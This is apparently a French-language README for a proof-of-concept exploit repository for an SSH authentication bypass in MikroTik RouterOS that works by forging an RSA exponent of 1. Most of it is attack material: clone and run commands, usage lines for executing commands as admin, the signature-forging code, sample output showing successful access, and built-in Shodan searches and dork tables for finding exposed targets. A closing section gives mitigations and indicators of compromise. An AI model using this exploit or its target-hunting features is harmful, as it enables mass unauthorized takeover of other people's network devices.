
CVE-2026-67276 Exploit de contournement de l'authentification SSH de MikroTik RouterOS
Contournement de l'authentification par clé publique SSH MikroTik RouterOS - Aucune clé privée requise
Une preuve de concept pour CVE-2026-67276 (MikroTrick), une vulnérabilité critique de contournement d'authentification dans l'implémentation SSH de MikroTik RouterOS qui permet aux attaquants de s'authentifier en tant que n'importe quel utilisateur sans posséder leur clé privée.
CVE-2026-67276 fait partie d'une chaîne d'attaque plus large surnommée « MikroTrick » par CERT PL, qui a été observée comme étant activement exploitée dans la nature :
L'authentification SSH de RouterOS présente un défaut critique dans la façon dont elle valide les clés publiques :
{ssh-rsa, e=1, n=module_victime} rend la vérification trivialeVérification RSA standard : sig^65537 mod n == attendu (nécessite la clé privée)
Vérification exploitée : sig^1 mod n == sig (AUCUNE clé privée nécessaire !)
Avec l'exposant e=1, la vérification de signature devient :
sig^1 mod n == sig
Cela signifie que la « signature » est simplement le message encodé EMSA-PKCS1-v1_5 lui-même - constructible par quiconque connaît le module public de la victime.
n de cette clé autorisée (à partir du fichier .pub, des connexions précédentes, etc.)| Branche | Plage vulnérable | Version corrigée |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
# Cloner le dépôt
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# Installer les dépendances
pip install paramiko cryptography
# Exploit de base - génère automatiquement la clé, détecte la version
python3 full_exploit.py --host 192.168.88.1 --username admin
# Exécuter une commande après l'authentification
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# Port personnalisé
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# Si vous disposez du fichier de clé publique de la victime
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# Ou fournir le module directement
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
L'exploit détecte automatiquement la version de RouterOS et vérifie le statut de vulnérabilité :
# Forcer l'exploit même sur une version non-MikroTik ou inconnue
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host IP/nom d'hôte RouterOS cible (requis)
--port Port SSH (défaut : 22)
--username Nom d'utilisateur RouterOS cible (requis)
--pubkey Fichier de clé publique RSA (généré automatiquement si non fourni)
--modulus-hex Module RSA en hexadécimal (alternative à --pubkey)
--algos Algorithmes de signature (défaut : ssh-rsa,rsa-sha2-256)
--exec Commande à exécuter après l'authentification
--exp-enc Encodage de l'exposant : canonique (1 octet) ou aligné (3 octets)
--timeout Délai d'expiration de connexion (défaut : 15,0 secondes)
--skip-version-check Ignorer la vérification de version RouterOS
--shodan-dorks Afficher les requêtes de recherche Shodan
--shodan-search Rechercher des cibles via l'API Shodan
--shodan-key Clé API Shodan
--shodan-query Requête Shodan personnalisée
--shodan-limit Limite de résultats Shodan (défaut : 100)
python3 full_exploit.py --shodan-dorks
# Recherche de base
python3 full_exploit.py --shodan-search --shodan-key VOTRE_CLE_API
# Requête personnalisée
python3 full_exploit.py --shodan-search --shodan-key VOTRE_CLE --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e (exposant public) <- L'attaquant fournit e=1
mpint n (module) <- Module réel de la victime
# La « signature » est simplement les données d'authentification encodées EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # Ceci EST la signature valide lorsque e=1
ssh-rsa même pour les algorithmes rsa-sha2-256/512[*] Exploit CVE-2026-67276 MikroTrick
[*] Cible : 192.168.88.1:22
[*] Détection de la version RouterOS...
[*] Bannière SSH : SSH-2.0-ROSSSH-7.23.3
[*] Version RouterOS : 7.23.3
[+] VERSION VULNÉRABLE - CVE-2026-67276 applicable
[*] Génération d'une paire de clés RSA 2048 bits...
[+] Clé privée enregistrée : /path/to/exploit_key
[+] Clé publique enregistrée : /path/to/exploit_key.pub
[*] Module : 2048 bits | e=1 falsifié
[*] Encodage de l'exposant : canonique (01)
[*] Tentative rsa-sha2-256 ...
[+] AUTHENTIFIÉ en tant que 'admin' via rsa-sha2-256
[+] CVE-2026-67276 CONFIRMÉ - la cible est vulnérable
--- sortie de la commande ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# Vérifier la version actuelle
/system resource print
# Mettre à niveau vers la version corrigée
/system package update download
/system reboot
Versions minimales sûres :
/ip service disable ssh
# Par adresse IP
/ip service set ssh address=192.168.88.0/24
# Règle de pare-feu
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# Vérifier les utilisateurs suspects
/user print
# Vérifier l'utilisateur « ops » (indicateur connu d'attaquant)
/user print where name=ops
# Vérifier le statut de l'appareil signalé
/system/device-mode/print
# Vérifier les journaux
/log print where topics~"ssh"
IOC connus :
login failure for user -2 via sshops82.192.72.4, 103.102.31.18⚠️ Cet outil est fourni uniquement pour les tests de sécurité autorisés et à des fins éducatives.
Licence MIT - Voir LICENSE pour plus de détails.
PoC de recherche en sécurité - Implémentation en laboratoire CVE-2026-67276
Mettez une étoile à ce dépôt si vous le trouvez utile !
| Détail | Information |
|---|
| ID CVE | CVE-2026-67276 |
| Sévérité | Critique (CVSS 9.8) |
| CWE | CWE-347 (Vérification incorrecte de la signature cryptographique) |
| Vecteur d'attaque | Réseau |
| Authentification | Aucune |
| Complexité | Faible |
| Impact | Compromission totale de l'appareil |
| CVE | Type | Description |
|---|
| CVE-2026-67276 | Contournement d'authentification | Contournement de l'authentification par clé publique SSH via falsification de l'exposant |
| CVE-2026-86060 | Élévation de privilèges | Injection d'arguments via le nom d'utilisateur |
| CVE-2026-67279 | Contournement d'authentification | Connexion SSH sans userauth complété |
| CVE-2026-67277 | Divulgation d'informations | Fuite de mémoire du noyau via bandwidth-test |
| CVE-2026-67278 | Contournement de signature | Acceptation de signature X.509 malformée |
| CVE-2026-67281 | Lecture de fichier | Lecture de fichier racine WebFig via jsproxy |
| 7.x stable |
| 7.0 - 7.23.3 |
| 7.23.4+ |
| 7.x testing | 7.24.0 - 7.24.1 | 7.24.2+ |
| Cible | Requête |
|---|
| Tous les MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Winbox exposé | port:8291 |
| Panneau WebFig | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| Par pays | MikroTik country:US |
| Indice de vulnérabilité | MikroTik ("6.49" OR "7.23" OR "7.24.0") |